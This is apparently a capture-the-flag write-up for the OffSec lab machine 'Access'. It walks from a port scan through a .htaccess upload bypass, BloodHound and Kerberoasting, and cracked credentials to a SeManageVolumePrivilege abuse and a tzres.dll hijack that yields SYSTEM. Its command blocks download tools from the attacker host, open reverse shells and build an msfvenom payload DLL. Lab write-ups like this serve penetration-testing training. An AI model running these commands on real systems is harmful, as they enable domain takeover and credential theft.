> For the complete documentation index, see [llms.txt](https://officerwasu.gitbook.io/officerwasu-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://officerwasu.gitbook.io/officerwasu-docs/untitled/writeups/access.md). # Access ## Access - Machine Walkthrough An in-depth guide to compromising the target host `192.168.109.187` (`access.offsec`). This machine covers initial reconnaissance, bypassing file upload restrictions via custom `.htaccess` directives, Active Directory enumeration with SharpHound, Kerberoasting to escalate laterally, and abusing `SeManageVolumePrivilege` alongside DLL hijacking in WMI/wbem to gain `NT AUTHORITY\SYSTEM`. *** ### Target Information * **Target IP:** `192.168.109.187` * **Attacker IP:** `192.168.45.206` * **Domain:** `access.offsec` * **OS:** Windows Server *** ### Phase 1: Reconnaissance & Enumeration #### Port Scanning We start with a fast port scan using `RustScan` linked directly into `Nmap` service versioning (`-sV`), default scripts (`-sC`), and raw output logging (`-oN`). ```bash rustscan -a 192.168.109.187 -- -sCV -vvv -oN scan.txt -Pn ``` **Key Open Ports** * **53/tcp** - Domain Name System (Simple DNS Plus) * **80/tcp & 443/tcp** - Apache httpd 2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7 * **88/tcp** - Kerberos Authentication Service * **135/tcp & 139/tcp & 445/tcp** - MSRPC & SMB Service * **389/tcp & 636/tcp** - LDAP / LDAPS (`Domain: access.offsec`) * **3268/tcp & 3269/tcp** - Global Catalog LDAP * **5985/tcp** - WinRM (HTTPAPI 2.0) The high presence of LDAP, Kerberos, and SMB confirms this host is acting as an Active Directory Domain Controller for `access.offsec`. *** ### Phase 2: Web Exploitation & Initial Access #### Web Application Reconnaissance Navigating to `http://192.168.109.187` displays the main application title **"Access The Event"**. Further directory brute-forcing with AutoRecon revealed a file upload portal on the web app.

#### Bypassing File Upload Restriction Testing the upload functionality with a standard `.php` script failed due to explicit file extension blacklisting. Because Apache is running on Windows with PHP enabled via Module, we can upload a custom `.htaccess` file to redefine file extensions parsed by PHP. **1. Crafting `.htaccess`** We create a local `.htaccess` file telling Apache to process `.dork` files as executable PHP code: ```bash echo "AddType application/x-httpd-php .dork" > .htaccess ``` **2. Preparing Payload** Rename our standard PHP reverse shell script to use the `.dork` extension:

```bash mv shell.php shell.dork ``` **3. Execution & Initial Shell** 1. Upload `.htaccess` first via the web portal. 2. Upload `shell.dork` second. Start a listener on Kali using Penelope: ```bash penelope -O ``` Trigger the shell by making an request to the uploaded file location: ```bash http://192.168.109.187/uploads/shell.dork ```

we paste the reverse shell in We obtain our initial access context as the service account `svc_apache`.

*** ### Phase 3: Domain Enumeration & Kerberoasting #### Active Directory Reconnaissance (SharpHound) To map out privilege escalation paths within the domain, we stage `SharpHound.exe` from our Kali host. On Kali (Python HTTP Server): ```bash cp ../../Tools/SharpHound.exe . python3 -m http.server 8000 ``` On Target (Powershell): ```powershell iwr http://192.168.45.206:8000/SharpHound.exe -outfile sharp.exe .\sharp.exe -c All ``` #### Data Exfiltration (Base64 Bypass) To pull the zipped BloodHound JSON results back to Kali without SMB or HTTP upload scripts, we encode the zip to a base64 string on the target: ```powershell [Convert]::ToBase64String((Get-Content "C:\Users\svc_apache\bl.zip" -Encoding byte)) ``` Copy the output text to a local file `bl.blob` on Kali, then decode: ```bash cat bl.blob | base64 -d > realdata.zip ``` Importing `realdata.zip` into BloodHound reveals a Kerberoastable account: `svc_mssql`.

#### Kerberoasting `svc_mssql` We stage `Rubeus.exe` on the target to dump the TGS ticket hash for Kerberoastable users. On Target: ```powershell iwr http://192.168.45.206:8000/Rubeus.exe -outfile Rubeus.exe .\Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt ```

#### Password Cracking Copy the extracted hash block to a file `hash` on Kali and crack it with `hashcat`: ```bash hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt ```

**Cracked Credentials:** `svc_mssql` : `trustno1` *** ### Phase 4: Lateral Movement With the domain account credentials in hand, we use `RunasCs.exe` to spawn an elevated context shell as `svc_mssql`. On Kali: ```bash rlwrap nc -lvnp 9001 ``` On Target: ```powershell iwr http://192.168.45.206:8000/RunasCs.exe -outfile runas.exe . runas.exe svc_mssql trustno1 cmd.exe -r 192.168.45.206:9001 ``` We catch the new incoming shell connection operating under the `svc_mssql` user profile.

*** ### Phase 5: Privilege Escalation (`NT AUTHORITY\SYSTEM`) #### Abusing `SeManageVolumePrivilege` Checking `whoami /priv` reveals that `svc_mssql` possesses `SeManageVolumePrivilege`. This privilege allows modifying access permissions on file system volumes.

We fetch `SeManageVolumeExploit.exe` to modify ACL permissions on `C:\Windows`: ```powershell powershell iwr http://192.168.45.206:8000/SeManageVolumeExploit.exe -outfile SeManageVolumeExploit.exe .\SeManageVolumeExploit.exe ``` Verify permissions on `C:\Windows` using `icacls`: ```cmd icacls C:\windows ```

The output confirms our current account has full permission to write into Windows administrative directories. #### DLL Hijacking via WMI (`tzres.dll`) When system binaries like `systeminfo` run under WMI context, they attempt to load missing DLLs from `C:\Windows\System32\wbem\`. Specifically, `tzres.dll` is vulnerable to hijack in this environment. **1. Generate Malicious DLL** On Kali, build a reverse shell DLL targeting port 135: ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.206 LPORT=135 -f dll -o tzres.dll ``` **2. Host and Transfer DLL** On Target: ```powershell cd C:\Windows\System32\wbemiwr http://192.168.45.206:8000/tzres.dll -outfile tzres.dll ``` **3. Trigger & Catch SYSTEM Shell** Start netcat listener on Kali: ```bash rlwrap nc -lvnp 135 ``` Execute `systeminfo` on the target: ```cmd systeminfo ``` The WMI service executes `systeminfo`, loads our hijacked `tzres.dll` from the `wbem` directory, and initiates a reverse connection. We receive a connection back on Kali with full `NT AUTHORITY\SYSTEM` privileges.